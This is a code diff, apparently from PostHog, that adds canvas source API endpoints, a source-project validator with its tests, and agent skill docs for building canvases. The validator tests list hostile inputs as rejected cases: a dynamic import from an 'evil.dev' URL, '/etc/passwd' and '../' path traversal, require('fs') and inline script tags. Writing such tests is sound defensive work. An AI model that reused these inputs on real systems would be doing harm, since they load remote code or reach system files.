payload = CanvasPublishSerializer(data=request.data) payload.is_valid(raise_exception=True) - code = payload.validated_data["code"] - prompt = payload.validated_data.get("prompt") - name = payload.validated_data.get("name") - has_expected_version = "expected_current_version_id" in payload.validated_data - expected_version_id = payload.validated_data.get("expected_current_version_id") + dashboard, conflict, first_publish = self._apply_canvas_publish( + dashboard, + code=payload.validated_data["code"], + prompt=payload.validated_data.get("prompt"), + name=payload.validated_data.get("name"), + has_expected_version="expected_current_version_id" in payload.validated_data, + expected_version_id=payload.validated_data.get("expected_current_version_id"), + ) + if conflict is not None: + return Response(conflict, status=status.HTTP_409_CONFLICT) + + if first_publish: + self._announce_canvas_created(request, dashboard) + + return Response(self.get_serializer(dashboard).data) + + def _apply_canvas_publish( + self, + dashboard: FileSystem, + *, + code: str, + prompt: str | None, + name: str | None, + has_expected_version: bool, + expected_version_id: str | None, + ) -> tuple[FileSystem, dict[str, Any] | None, bool]: + """Append a canvas version and advance the pointer, under the row lock. + + Returns the (re-fetched) dashboard, a 409 `version_conflict` payload when a + guarded publish is based on a stale version (the canvas is left untouched), + and whether this was the canvas's first publish. + """ now_ms = int(time.time() * 1000) version: dict[str, Any] = {"id": str(uuid4()), "code": code, "createdAt": now_ms} if prompt: @@ -1182,15 +1392,13 @@ def publish_canvas(self, request: Request, *args: Any, **kwargs: Any) -> Respons current_version_id = meta.get("currentVersionId") if has_expected_version and current_version_id != expected_version_id: - return Response( - { - "detail": "The canvas changed since it was read (a concurrent publish or an undo). " - "Re-fetch the canvas, re-apply the edits to the fresh source, and publish again.", - "code": "version_conflict", - "current_version_id": current_version_id, - }, - status=status.HTTP_409_CONFLICT, - ) + conflict = { + "detail": "The canvas changed since it was read (a concurrent publish or an undo). " + "Re-fetch the canvas, re-apply the edits to the fresh source, and publish again.", + "code": "version_conflict", + "current_version_id": current_version_id, + } + return dashboard, conflict, False # Snapshot the live author context onto the version (reverting restores it). existing_context = meta.get("context") @@ -1236,10 +1444,199 @@ def publish_canvas(self, request: Request, *args: Any, **kwargs: Any) -> Respons dashboard.save(update_fields=update_fields) + return dashboard, None, first_publish + + def _resolve_channel(self, channel_id: str) -> FileSystem | None: + """The project's channel folder with this id, or None (including a malformed id — + agents pass arbitrary strings, and a UUID-field lookup on one raises).""" + try: + return self._scope_by_project(FileSystem.objects.all()).filter(id=channel_id, type="folder").first() + except (ValueError, DjangoValidationError): + return None + + def _canvas_summary(self, entry: FileSystem) -> dict[str, Any]: + meta = entry.meta or {} + segments = split_path(entry.path) + return { + "id": str(entry.id), + "name": segments[-1] if segments else entry.path, + "channel_id": meta.get("channelId"), + "current_version_id": meta.get("currentVersionId"), + "version_count": len(meta.get("versions") or []), + "created_at": entry.created_at, + } + + @extend_schema( + operation_id="desktop_file_system_canvases_list", + parameters=[ + OpenApiParameter( + name="channel_id", + type=str, + required=False, + description="Only return canvases inside this channel (desktop folder id).", + ), + ], + responses={200: CanvasSummarySerializer(many=True)}, + ) + @action(methods=["GET"], detail=False, url_path="canvases", pagination_class=None, request=None) + def canvases(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """List the project's canvases, newest first (capped at 100).""" + queryset = self._scope_by_project(FileSystem.objects.all()).filter(type="dashboard") + channel_id = request.query_params.get("channel_id") + if channel_id: + channel = self._resolve_channel(channel_id) + if channel is None: + return Response({"detail": "Channel not found."}, status=status.HTTP_404_NOT_FOUND) + queryset = queryset.filter(path__startswith=f"{channel.path}/") + entries = queryset.order_by("-created_at")[:100] + return Response(CanvasSummarySerializer([self._canvas_summary(entry) for entry in entries], many=True).data) + + @extend_schema( + operation_id="desktop_file_system_canvases_create", + request=CanvasCreateSerializer, + responses={201: CanvasSummarySerializer}, + ) + @canvases.mapping.post + def create_canvas(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Create a new, empty canvas in a channel. + + The canvas starts with no source; publish a source project to give it one. + """ + payload = CanvasCreateSerializer(data=request.data) + payload.is_valid(raise_exception=True) + + channel = self._resolve_channel(payload.validated_data["channel_id"]) + if channel is None: + return Response({"detail": "Channel not found."}, status=status.HTTP_400_BAD_REQUEST) + + # Path segments are "/"-separated, so a name can't contain one (mirrors the app). + name = re.sub(r"\s+", " ", payload.validated_data["name"].replace("/", " ")).strip() or "Untitled canvas" + now_ms = int(time.time() * 1000) + user = request.user if isinstance(request.user, User) else None + created_by_label = (f"{user.first_name} {user.last_name}".strip() or user.email) if user is not None else None + meta: dict[str, Any] = { + "channelId": str(channel.id), + "templateId": "freeform", + "createdAt": now_ms, + "updatedAt": now_ms, + } + if created_by_label: + meta["createdBy"] = created_by_label + + serializer = self.get_serializer(data={"path": f"{channel.path}/{name}", "type": "dashboard", "meta": meta}) + serializer.is_valid(raise_exception=True) + self.perform_create(serializer) + entry = cast(FileSystem, serializer.instance) + return Response(CanvasSummarySerializer(self._canvas_summary(entry)).data, status=status.HTTP_201_CREATED) + + @extend_schema( + operation_id="desktop_file_system_canvas_source_retrieve", + responses={200: CanvasSourceResponseSerializer}, + ) + @action(methods=["GET"], detail=True, url_path="canvas/source", request=None) + def canvas_source(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Read a canvas's source project and the version pointer edits must be based on. + + Legacy single-file canvases are presented as a synthetic web project whose + `src/canvas.tsx` holds the stored React component. + """ + dashboard = self._get_dashboard_or_400() + if isinstance(dashboard, Response): + return dashboard + + meta = dashboard.meta or {} + response = { + "canvas": self._canvas_summary(dashboard), + "project": synthetic_source_project(meta), + "current_version_id": meta.get("currentVersionId"), + } + return Response(CanvasSourceResponseSerializer(response).data) + + @extend_schema( + operation_id="desktop_file_system_canvas_validate_create", + request=CanvasValidateRequestSerializer, + responses={200: CanvasValidateResponseSerializer}, + ) + @action(methods=["POST"], detail=True, url_path="canvas/validate", request=CanvasValidateRequestSerializer) + def canvas_validate(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Validate a candidate source project without publishing it. + + Side-effect free: returns the same structured diagnostics a publish would + enforce, so agents can iterate until the project is publishable. + """ + dashboard = self._get_dashboard_or_400() + if isinstance(dashboard, Response): + return dashboard + + payload = CanvasValidateRequestSerializer(data=request.data) + payload.is_valid(raise_exception=True) + + diagnostics = validate_source_project(payload.validated_data["project"]) + response = {"valid": not has_errors(diagnostics), "diagnostics": diagnostics} + return Response(CanvasValidateResponseSerializer(response).data) + + @extend_schema( + operation_id="desktop_file_system_canvas_publish_create", + request=CanvasSourcePublishSerializer, + responses={ + 200: CanvasSourcePublishResponseSerializer, + 400: OpenApiResponse( + response=CanvasSourceInvalidSerializer, + description="The source project failed validation; nothing was published.", + ), + 409: OpenApiResponse( + response=CanvasPublishConflictSerializer, + description="The canvas moved past expected_current_version_id (a concurrent publish or an undo).", + ), + }, + ) + @action(methods=["POST"], detail=True, url_path="canvas/publish", request=CanvasSourcePublishSerializer) + def publish_canvas_source(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Publish a complete canvas source project as the canvas's new head version. + + Validates the project first — an error-severity diagnostic rejects the + publish with 400 and leaves the canvas untouched. Guarded publishing via + `expected_current_version_id` rejects a stale base with 409 instead of + overwriting newer work. + """ + dashboard = self._get_dashboard_or_400() + if isinstance(dashboard, Response): + return dashboard + + payload = CanvasSourcePublishSerializer(data=request.data) + payload.is_valid(raise_exception=True) + project = payload.validated_data["project"] + + diagnostics = validate_source_project(project) + if has_errors(diagnostics): + body = { + "detail": "The source project failed validation; fix the error diagnostics and publish again.", + "code": "invalid_source_project", + "diagnostics": diagnostics, + } + return Response(CanvasSourceInvalidSerializer(body).data, status=status.HTTP_400_BAD_REQUEST) + + dashboard, conflict, first_publish = self._apply_canvas_publish( + dashboard, + code=extract_legacy_code(project), + prompt=payload.validated_data.get("prompt"), + name=payload.validated_data.get("name"), + has_expected_version="expected_current_version_id" in payload.validated_data, + expected_version_id=payload.validated_data.get("expected_current_version_id"), + ) + if conflict is not None: + return Response(conflict, status=status.HTTP_409_CONFLICT) + if first_publish: self._announce_canvas_created(request, dashboard) - return Response(self.get_serializer(dashboard).data) + meta = dashboard.meta or {} + response = { + "canvas": self._canvas_summary(dashboard), + "current_version_id": meta.get("currentVersionId"), + "diagnostics": diagnostics, + } + return Response(CanvasSourcePublishResponseSerializer(response).data) def _announce_canvas_created(self, request: Request, dashboard: FileSystem) -> None: """Announce a canvas's first publish in the generating task's thread. diff --git a/posthog/api/file_system/test/test_canvas_source.py b/posthog/api/file_system/test/test_canvas_source.py new file mode 100644 index 000000000000..3b869261e2fe --- /dev/null +++ b/posthog/api/file_system/test/test_canvas_source.py @@ -0,0 +1,133 @@ +from django.test import SimpleTestCase + +from parameterized import parameterized + +from posthog.api.file_system.canvas_source import ( + CANVAS_COMPONENT_PATH, + CANVAS_ENTRY_HTML, + MAX_FILE_BYTES, + MAX_SOURCE_FILES, + extract_legacy_code, + has_errors, + synthetic_source_project, + validate_source_project, +) + +CODE = 'import React from "react";\nexport default () =>
hi
;\n' + + +def project(**overrides): + base = { + "schemaVersion": 1, + "files": {CANVAS_COMPONENT_PATH: CODE}, + "entryHtml": CANVAS_ENTRY_HTML, + "dependencies": {"react": "19.0.0"}, + "canvasSdkVersion": "0.1.0", + } + base.update(overrides) + return base + + +class TestCanvasSourceAdapter(SimpleTestCase): + def test_synthetic_project_of_legacy_canvas_validates_and_round_trips(self): + # The read → edit → publish loop must accept its own output: a project + # synthesized from a legacy canvas has to pass validation and reduce back + # to the identical code. + synthetic = synthetic_source_project({"code": CODE}) + self.assertEqual(extract_legacy_code(synthetic), CODE) + self.assertFalse(has_errors(validate_source_project(synthetic))) + + def test_synthetic_project_of_unpublished_canvas_has_empty_component(self): + synthetic = synthetic_source_project({}) + self.assertEqual(extract_legacy_code(synthetic), "") + self.assertFalse(has_errors(validate_source_project(synthetic))) + + def test_valid_minimal_project_has_no_diagnostics(self): + self.assertEqual(validate_source_project(project()), []) + + @parameterized.expand( + [ + ("wrong_schema_version", project(schemaVersion=2), "unsupported_schema_version"), + ("wrong_entry_html", project(entryHtml="main.html"), "invalid_entry"), + ( + "extra_file_rejected_until_build_service", + project(files={CANVAS_COMPONENT_PATH: CODE, "src/style.css": "body {}"}), + "unsupported_file", + ), + ("missing_component", project(files={CANVAS_ENTRY_HTML: ""}), "missing_component"), + ( + "path_traversal", + project(files={CANVAS_COMPONENT_PATH: CODE, "../escape.tsx": "x"}), + "invalid_path", + ), + ( + "absolute_path", + project(files={CANVAS_COMPONENT_PATH: CODE, "/etc/passwd": "x"}), + "invalid_path", + ), + ( + "backslash_path", + project(files={CANVAS_COMPONENT_PATH: CODE, "src\\win.tsx": "x"}), + "invalid_path", + ), + ("unknown_dependency", project(dependencies={"left-pad": "1.0.0"}), "dependency_not_admitted"), + ( + "dependency_version_drift", + project(dependencies={"react": "18.0.0"}), + "dependency_version_mismatch", + ), + ( + "non_whitelisted_import", + project(files={CANVAS_COMPONENT_PATH: 'import _ from "lodash";\n' + CODE}), + "import_not_allowed", + ), + ( + "dynamic_import", + project(files={CANVAS_COMPONENT_PATH: 'const m = await import("https://evil.dev/x.js");'}), + "forbidden_dynamic_import", + ), + ( + "require_call", + project(files={CANVAS_COMPONENT_PATH: 'const fs = require("fs");'}), + "forbidden_require", + ), + ( + "inline_script_tag", + project(files={CANVAS_COMPONENT_PATH: 'const html = "";'}), + "forbidden_inline_script", + ), + ( + "file_too_large", + project(files={CANVAS_COMPONENT_PATH: "a" * (MAX_FILE_BYTES + 1)}), + "file_too_large", + ), + ( + "too_many_files", + project( + files={ + CANVAS_COMPONENT_PATH: CODE, + **{f"src/f{i}.ts": "x" for i in range(MAX_SOURCE_FILES)}, + } + ), + "too_many_files", + ), + ] + ) + def test_invalid_projects_produce_error_diagnostics(self, _name, candidate, expected_code): + diagnostics = validate_source_project(candidate) + self.assertTrue(has_errors(diagnostics), diagnostics) + self.assertIn(expected_code, [d["code"] for d in diagnostics]) + + def test_direct_network_calls_warn_but_stay_publishable(self): + # fetch() is blocked by the sandbox CSP, not by publish — a comment or + # string mentioning it must not brick a canvas, so it's a warning. + candidate = project(files={CANVAS_COMPONENT_PATH: CODE + 'fetch("/api/x");'}) + diagnostics = validate_source_project(candidate) + self.assertFalse(has_errors(diagnostics)) + self.assertIn("network_fetch", [d["code"] for d in diagnostics]) + + def test_import_diagnostics_carry_file_and_line(self): + candidate = project(files={CANVAS_COMPONENT_PATH: CODE + 'import _ from "lodash";'}) + entry = next(d for d in validate_source_project(candidate) if d["code"] == "import_not_allowed") + self.assertEqual(entry["path"], CANVAS_COMPONENT_PATH) + self.assertEqual(entry["line"], 3) diff --git a/posthog/api/file_system/test/test_canvas_source_api.py b/posthog/api/file_system/test/test_canvas_source_api.py new file mode 100644 index 000000000000..c77a5ef3f054 --- /dev/null +++ b/posthog/api/file_system/test/test_canvas_source_api.py @@ -0,0 +1,268 @@ +from typing import Any, cast + +from posthog.test.base import APIBaseTest +from unittest.mock import patch + +from django.apps import apps + +from rest_framework import status + +from posthog.api.file_system.canvas_source import CANVAS_COMPONENT_PATH, CANVAS_ENTRY_HTML +from posthog.models.file_system.file_system import FileSystem +from posthog.models.oauth import OAuthApplication +from posthog.models.organization import Organization +from posthog.models.team import Team +from posthog.temporal.oauth import ( + ARRAY_APP_CLIENT_ID_DEV, + ARRAY_APP_CLIENT_ID_EU, + ARRAY_APP_CLIENT_ID_US, + create_oauth_access_token_for_user, +) + +CODE_V1 = 'import React from "react";\nexport default () =>
v1
;\n' +CODE_V2 = 'import React from "react";\nexport default () =>
v2
;\n' + + +class TestDesktopCanvasSourceAPI(APIBaseTest): + def setUp(self): + super().setUp() + # Staff gate mirrors the desktop/web file system beta gating. + self.user.is_staff = True + self.user.save() + + def _base_url(self) -> str: + return f"/api/projects/{self.team.id}/desktop_file_system/" + + def _create_channel(self, path: str = "MyChannel") -> str: + response = self.client.post(self._base_url(), {"path": path, "type": "folder"}) + self.assertEqual(response.status_code, status.HTTP_201_CREATED, response.json()) + return cast(str, response.json()["id"]) + + def _create_canvas(self, channel_id: str, name: str = "MyCanvas") -> dict[str, Any]: + response = self.client.post(f"{self._base_url()}canvases/", {"name": name, "channel_id": channel_id}) + self.assertEqual(response.status_code, status.HTTP_201_CREATED, response.json()) + return cast(dict[str, Any], response.json()) + + def _project(self, code: str) -> dict[str, Any]: + return { + "schemaVersion": 1, + "files": {CANVAS_COMPONENT_PATH: code}, + "entryHtml": CANVAS_ENTRY_HTML, + "dependencies": {"react": "19.0.0"}, + "canvasSdkVersion": "0.1.0", + } + + def test_create_read_validate_publish_edit_loop(self): + # The full loop a generic task follows: create a canvas, read its source, + # validate, publish guarded on the empty head, then edit guarded on the + # returned version. Breaking any hand-off breaks agent canvas authoring. + channel_id = self._create_channel() + canvas = self._create_canvas(channel_id) + canvas_id = canvas["id"] + self.assertEqual(canvas["name"], "MyCanvas") + self.assertEqual(canvas["channel_id"], channel_id) + self.assertIsNone(canvas["current_version_id"]) + + source = self.client.get(f"{self._base_url()}{canvas_id}/canvas/source/").json() + self.assertIsNone(source["current_version_id"]) + self.assertEqual(source["project"]["files"][CANVAS_COMPONENT_PATH], "") + self.assertEqual(source["project"]["entryHtml"], CANVAS_ENTRY_HTML) + + validated = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/validate/", {"project": self._project(CODE_V1)}, format="json" + ).json() + self.assertTrue(validated["valid"], validated) + + published = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/publish/", + {"project": self._project(CODE_V1), "prompt": "first build", "expected_current_version_id": None}, + format="json", + ) + self.assertEqual(published.status_code, status.HTTP_200_OK, published.json()) + v1 = published.json()["current_version_id"] + self.assertEqual(published.json()["canvas"]["version_count"], 1) + + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertEqual(meta["code"], CODE_V1) + self.assertEqual(meta["currentVersionId"], v1) + self.assertEqual(meta["versions"][0]["prompt"], "first build") + # Creation-time meta keys survive the publish merge. + self.assertEqual(meta["channelId"], channel_id) + + edited = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/publish/", + {"project": self._project(CODE_V2), "expected_current_version_id": v1}, + format="json", + ) + self.assertEqual(edited.status_code, status.HTTP_200_OK, edited.json()) + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertEqual([v["code"] for v in meta["versions"]], [CODE_V1, CODE_V2]) + + source = self.client.get(f"{self._base_url()}{canvas_id}/canvas/source/").json() + self.assertEqual(source["project"]["files"][CANVAS_COMPONENT_PATH], CODE_V2) + self.assertEqual(source["current_version_id"], meta["currentVersionId"]) + + def test_stale_guarded_source_publish_conflicts_and_leaves_canvas_untouched(self): + channel_id = self._create_channel() + canvas_id = self._create_canvas(channel_id)["id"] + self.client.post( + f"{self._base_url()}{canvas_id}/canvas/publish/", {"project": self._project(CODE_V1)}, format="json" + ) + head = cast(dict, FileSystem.objects.get(id=canvas_id).meta)["currentVersionId"] + + response = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/publish/", + {"project": self._project(CODE_V2), "expected_current_version_id": "not-the-head"}, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_409_CONFLICT, response.json()) + self.assertEqual(response.json()["code"], "version_conflict") + self.assertEqual(response.json()["current_version_id"], head) + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertEqual(meta["code"], CODE_V1) + self.assertEqual(len(meta["versions"]), 1) + + def test_invalid_project_publish_returns_diagnostics_and_publishes_nothing(self): + channel_id = self._create_channel() + canvas_id = self._create_canvas(channel_id)["id"] + + bad_project = self._project('import _ from "lodash";\n' + CODE_V1) + response = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/publish/", {"project": bad_project}, format="json" + ) + + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST, response.json()) + body = response.json() + self.assertEqual(body["code"], "invalid_source_project") + self.assertIn("import_not_allowed", [d["code"] for d in body["diagnostics"]]) + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertNotIn("code", meta) + self.assertNotIn("versions", meta) + + def test_validate_reports_errors_without_mutating_the_canvas(self): + channel_id = self._create_channel() + canvas_id = self._create_canvas(channel_id)["id"] + before = FileSystem.objects.get(id=canvas_id).meta + + response = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/validate/", + {"project": self._project('const m = await import("https://x.dev/e.js");')}, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) + self.assertFalse(response.json()["valid"]) + self.assertEqual(FileSystem.objects.get(id=canvas_id).meta, before) + + def test_validate_rejects_malformed_body_with_400(self): + # Wiring guard: the request serializer is actually enforced. + channel_id = self._create_channel() + canvas_id = self._create_canvas(channel_id)["id"] + + response = self.client.post(f"{self._base_url()}{canvas_id}/canvas/validate/", {}, format="json") + + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) + + def test_canvases_list_scopes_to_channel_and_team(self): + channel_id = self._create_channel("ChannelA") + other_channel_id = self._create_channel("ChannelB") + in_channel = self._create_canvas(channel_id, name="In A")["id"] + self._create_canvas(other_channel_id, name="In B") + + # A same-path canvas in another team must never leak into this team's list. + other_org = Organization.objects.create(name="other") + other_team = Team.objects.create(organization=other_org, name="other") + FileSystem.objects.create(team=other_team, path="ChannelA/Foreign", type="dashboard", surface="desktop") + + everything = self.client.get(f"{self._base_url()}canvases/").json() + self.assertEqual({c["name"] for c in everything}, {"In A", "In B"}) + + filtered = self.client.get(f"{self._base_url()}canvases/", {"channel_id": channel_id}).json() + self.assertEqual([c["id"] for c in filtered], [in_channel]) + + def test_create_canvas_rejects_unknown_channel(self): + response = self.client.post( + f"{self._base_url()}canvases/", + {"name": "Orphan", "channel_id": "00000000-0000-0000-0000-000000000000"}, + ) + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST, response.json()) + + def test_non_uuid_channel_id_is_a_client_error_not_a_500(self): + # Agents pass arbitrary strings; a malformed id must map to 400/404, not + # bubble the UUID-field ValidationError as a 500. + create = self.client.post(f"{self._base_url()}canvases/", {"name": "Orphan", "channel_id": "not-a-uuid"}) + self.assertEqual(create.status_code, status.HTTP_400_BAD_REQUEST, create.content) + + listed = self.client.get(f"{self._base_url()}canvases/", {"channel_id": "not-a-uuid"}) + self.assertEqual(listed.status_code, status.HTTP_404_NOT_FOUND, listed.content) + + def test_source_endpoints_reject_non_dashboard_rows(self): + channel_id = self._create_channel() + + response = self.client.get(f"{self._base_url()}{channel_id}/canvas/source/") + + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST, response.json()) + + def test_legacy_patch_publish_and_source_read_interoperate(self): + # The legacy composer path (PATCH canvas/) and the new source tools edit + # the same version history — a guard from one must hold against the other. + channel_id = self._create_channel() + canvas_id = self._create_canvas(channel_id)["id"] + self.client.patch(f"{self._base_url()}{canvas_id}/canvas/", {"code": CODE_V1}) + v1 = cast(dict, FileSystem.objects.get(id=canvas_id).meta)["currentVersionId"] + + source = self.client.get(f"{self._base_url()}{canvas_id}/canvas/source/").json() + self.assertEqual(source["project"]["files"][CANVAS_COMPONENT_PATH], CODE_V1) + self.assertEqual(source["current_version_id"], v1) + + response = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/publish/", + {"project": self._project(CODE_V2), "expected_current_version_id": v1}, + format="json", + ) + self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertEqual([v["code"] for v in meta["versions"]], [CODE_V1, CODE_V2]) + + def _authenticate_as_sandbox(self) -> None: + for client_id in (ARRAY_APP_CLIENT_ID_DEV, ARRAY_APP_CLIENT_ID_US, ARRAY_APP_CLIENT_ID_EU): + OAuthApplication.objects.get_or_create( + client_id=client_id, + defaults={ + "name": "Array Test App", + "client_type": OAuthApplication.CLIENT_PUBLIC, + "authorization_grant_type": OAuthApplication.GRANT_AUTHORIZATION_CODE, + "redirect_uris": "https://app.posthog.com/callback", + "algorithm": "RS256", + }, + ) + token = create_oauth_access_token_for_user(self.user, self.team.id, scopes="full") + self.client.logout() + self.client.credentials(HTTP_AUTHORIZATION=f"Bearer {token}") + + @patch("products.tasks.backend.facade.api.posthoganalytics.feature_enabled", return_value=True) + def test_first_source_publish_from_task_announces_in_thread(self, _flag): + # The new publish path must announce a canvas's first publish in the + # generating task's thread exactly like the legacy PATCH path does. + Task = apps.get_model("tasks", "Task") + task = Task.objects.create( + team=self.team, + title="Generate canvas", + description="", + origin_product=Task.OriginProduct.USER_CREATED, + created_by=self.user, + ) + channel_id = self._create_channel() + canvas_id = self._create_canvas(channel_id)["id"] + self._authenticate_as_sandbox() + + self.client.post( + f"{self._base_url()}{canvas_id}/canvas/publish/", + {"project": self._project(CODE_V1)}, + format="json", + HTTP_X_POSTHOG_TASK_ID=str(task.id), + ) + + TaskThreadMessage = apps.get_model("tasks", "TaskThreadMessage") + self.assertEqual(TaskThreadMessage.objects.for_team(self.team.id).filter(task=task).count(), 1) diff --git a/posthog/settings/web.py b/posthog/settings/web.py index 5fd278ab99f9..ed901e9632f2 100644 --- a/posthog/settings/web.py +++ b/posthog/settings/web.py @@ -619,6 +619,9 @@ def static_varies_origin(headers, path, url): "TargetTypeEnum": "products.exports.backend.models.subscription.Subscription.SubscriptionTarget", # --- Inline value lists (type-hint enums, no x-spec-enum-id) --- "PropertyGroupOperator": ["AND", "OR"], + # Canvas source diagnostics and marketing-analytics UTM issues share the same + # error/warning severity pair; pin one shared name for the choice set. + "DiagnosticSeverityEnum": ["error", "warning"], # ReviewHog findings expose the same priority set on two fields (effective_priority + # reviewer_priority); pin one shared name for the choice set. "ReviewIssuePriorityEnum": ["must_fix", "should_fix", "consider"], diff --git a/products/marketing_analytics/frontend/generated/api.schemas.ts b/products/marketing_analytics/frontend/generated/api.schemas.ts index c4a621d77aad..25185c0daa9e 100644 --- a/products/marketing_analytics/frontend/generated/api.schemas.ts +++ b/products/marketing_analytics/frontend/generated/api.schemas.ts @@ -453,9 +453,9 @@ export interface UtmMappingSuggestionsResponseApi { * * `error` - error * * `warning` - warning */ -export type UtmIssueSeverityEnumApi = (typeof UtmIssueSeverityEnumApi)[keyof typeof UtmIssueSeverityEnumApi] +export type DiagnosticSeverityEnumApi = (typeof DiagnosticSeverityEnumApi)[keyof typeof DiagnosticSeverityEnumApi] -export const UtmIssueSeverityEnumApi = { +export const DiagnosticSeverityEnumApi = { Error: 'error', Warning: 'warning', } as const @@ -467,7 +467,7 @@ export interface UtmIssueApi { * * * `error` - error * * `warning` - warning */ - severity: UtmIssueSeverityEnumApi + severity: DiagnosticSeverityEnumApi /** Human-readable description of the issue */ message: string } diff --git a/products/marketing_analytics/frontend/generated/api.zod.schemas.ts b/products/marketing_analytics/frontend/generated/api.zod.schemas.ts index 67d54e413cdd..b799c5e0822f 100644 --- a/products/marketing_analytics/frontend/generated/api.zod.schemas.ts +++ b/products/marketing_analytics/frontend/generated/api.zod.schemas.ts @@ -865,12 +865,12 @@ export const UtmMappingSuggestionsResponseApi = zod.object({ export type UtmMappingSuggestionsResponseApi = zod.input export type UtmMappingSuggestionsResponseApiOutput = zod.output -export const UtmIssueSeverityEnumApi = zod +export const DiagnosticSeverityEnumApi = zod .enum(['error', 'warning']) .describe('\* `error` - error\n\* `warning` - warning') -export type UtmIssueSeverityEnumApi = zod.input -export type UtmIssueSeverityEnumApiOutput = zod.output +export type DiagnosticSeverityEnumApi = zod.input +export type DiagnosticSeverityEnumApiOutput = zod.output export const UtmIssueApi = zod.object({ field: zod.string().describe('The UTM field with the issue (e.g. utm_campaign, utm_source)'), diff --git a/products/tasks/skills/building-canvases/SKILL.md b/products/tasks/skills/building-canvases/SKILL.md new file mode 100644 index 000000000000..70c15dcdc853 --- /dev/null +++ b/products/tasks/skills/building-canvases/SKILL.md @@ -0,0 +1,63 @@ +--- +name: building-canvases +description: > + Create or edit a PostHog canvas — a sandboxed browser application (data board, document, form, + small tool, graphics experiment) stored in PostHog and rendered by the desktop/web app. Use when + a task asks to build, generate, update, or fix a canvas, or when a canvas id is given as the + publish target. Covers resolving or creating the target canvas, choosing an implementation + approach (React + Quill vs plain HTML/browser APIs), the read → edit → validate → publish loop, + and which companion canvas skills to load for the details. +--- + +# Building canvases + +A canvas is a client-side browser application that runs in a sandboxed iframe inside PostHog. +Its source lives in PostHog — not in a repository — and you read and write it through the +`desktop-file-system-canvas-*` tools. Never write a canvas to a local file; publishing through +the tool is what saves it. + +## Resolve the target canvas + +- If the task names a canvas id (canvas-initiated tasks do), that is the target. Do not create another. +- Otherwise list candidates with `desktop-file-system-canvases-list` (scope with `channel_id` when the + request names a channel) and pick the canvas the request refers to. +- Only when no existing canvas is the intended target, create one with `desktop-file-system-canvases-create` + in the right channel. When you only have a channel name, resolve its id first with + `desktop-file-system-list` (channels are the `folder` entries). + +## Choose the least complex implementation that meets the request + +- **React + Quill** — PostHog data products, dashboards, forms, application-like state, and anything + that should look native to PostHog. Load the `building-react-quill-canvases` skill. +- **Semantic HTML, CSS, and direct browser APIs** — static documents, focused experiments, generative + graphics, ``/WebGL work where React adds no structure. Load the `building-html-canvases` skill. +- **Mix them** when appropriate: React can own the application chrome while Three-style code owns a + canvas element, or a mostly static page can mount one interactive island. + +This is a judgment call, not a persisted mode — ask the user only when the choice changes a +user-visible requirement you cannot infer. + +## The iteration loop + +1. Read the current source and version pointer with `desktop-file-system-canvas-source-retrieve`. + Remember `current_version_id` — your publish must be guarded on it. +2. Edit the project files. For any PostHog data the canvas shows, follow the `querying-canvas-data` + skill (saved insights loaded via the `ph` SDK — never fetch or your own PostHog client). +3. Validate with `desktop-file-system-canvas-validate-create` as often as needed and fix every + error-severity diagnostic. +4. Publish the complete project with `desktop-file-system-canvas-publish-create`, passing + `expected_current_version_id`. Follow the `validating-and-publishing-canvases` skill for + diagnostics and conflict recovery. + +Publish once per requested change, when the canvas is ready — not after every micro-edit. + +## Current source-project shape + +Until the canvas build service ships, a project contains exactly two files: + +- `index.html` — a fixed synthetic shell; leave it as returned. +- `src/canvas.tsx` — the entire application: one React/TSX file whose default export is a component + taking no props. All approaches (React UI, semantic HTML, canvas/WebGL) live inside this component. + +Dependencies are limited to the platform-pinned set (react, react-dom, @posthog/quill, recharts, +lucide-react, dayjs); keep the `dependencies` map exactly as the source read returned it. diff --git a/products/tasks/skills/building-html-canvases/SKILL.md b/products/tasks/skills/building-html-canvases/SKILL.md new file mode 100644 index 000000000000..82adf52fb81f --- /dev/null +++ b/products/tasks/skills/building-html-canvases/SKILL.md @@ -0,0 +1,56 @@ +--- +name: building-html-canvases +description: > + Author a PostHog canvas with semantic HTML, CSS, and direct browser APIs — documents, articles, + generative graphics, 2D canvas and WebGL experiences, and focused experiments where React + components add no useful structure. Use after building-canvases has routed a canvas request to a + plain-HTML/browser-API implementation. Covers the thin component wrapper the current runtime + requires, styling and theming without Quill, drawing surfaces, and animation/cleanup patterns. +--- + +# Building HTML canvases + +Some canvases are documents or graphics programs, not applications: a written report, a diagram, +a generative-art piece, a WebGL scene. For these, semantic HTML, CSS, and direct browser APIs are +the right tools — don't force Quill components or React state onto a static page. + +## The wrapper the current runtime requires + +Until the canvas build service ships, every canvas is mounted as one React component +(`src/canvas.tsx`, default export, no props). Keep the React layer as a thin shell and write the +experience in HTML/CSS/browser APIs inside it: + +- A document is JSX that is effectively semantic HTML — `
`, headings, lists, tables, + figures — with a `